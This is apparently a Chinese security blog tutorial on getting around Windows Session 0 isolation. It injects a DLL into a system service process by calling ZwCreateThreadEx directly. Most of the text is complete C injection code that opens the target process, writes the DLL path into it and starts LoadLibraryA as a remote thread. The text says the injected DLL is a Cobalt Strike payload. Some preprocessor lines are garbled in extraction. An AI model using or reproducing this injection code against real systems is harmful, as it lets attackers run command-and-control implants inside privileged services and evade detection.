一、前言
在早期的windows系统如windows xp和windows server 2003中，第一个登录的用户及其所有服务都在session 0上运行。这种做法可能导致应用程序利用windows服务提升权限。为此，较新的windows版本引入了一种隔离机制，普通应用程序不再在session 0中运行。
二、突破SESSION 0 思路
由于SESSION 0隔离机制的存在，传统的远程线程注入系统服务进程方法失败。与传统的CreateRemoteThread函数实现的DLL远线程注入不同，我们直接调用了更底层的ZwCreateThreadEx来创建线程。
虽然CreateRemoteThread函数在底层也是调用ZwCreateThreadEx，但ZwCreateThreadEx的第7个参数CreateSuspended（CreateThreadFlags）始终为1，这会导致线程创建后一直挂起无法恢复运行。因此，我们选择直接调用ZwCreateThreadEx，并将第7个参数置为0，以达到注入目的。
三、代码实现
ZwCreateThreadEx在ntdll.dll中未声明，因此我们需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。需要注意的是，64位和32位系统中，函数定义有所不同。64位下的ZwCreateThreadEx函数声明如下：
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);而32位下的ZwCreateThreadEx函数声明如下：
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);我们同样使用GetProcAddress从Kernel32.dll中获取LoadLibraryA函数的导出地址：
typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
HMODULE hKeModule = GetModuleHandleA("Kernel32.dll");
typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA");随后，我们获取进程句柄，在目标进程空间中申请内存空间，然后将我们的DLL写入到内存空间中，最后创建线程等待执行。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092); LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0); ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL); return 0;
效果如下图所示：
此处使用的DLL为Cobalt Strike生成的64位DLL。完整代码如下：
#include#include ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);
else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);
endif
int main(int argc, char* argv[]) { char DllPath[] = "C:\Users\RTO\Desktop\Injection2\a.dll"; //DLL路径 HANDLE hRemoteThread; HMODULE hNtModule = GetModuleHandleA("ntdll.dll"); HMODULE hKeModule = GetModuleHandleA("Kernel32.dll"); typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtModule, "ZwCreateThreadEx"); typedef_LoadLibraryA myLoadLibraryA = (typedef_LoadLibraryA)GetProcAddress(hKeModule, "LoadLibraryA"); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6092); //此处为SESSION 0的进程PID LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0); ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL); return 0; }
四、小结
需要管理员权限才能执行上述操作。
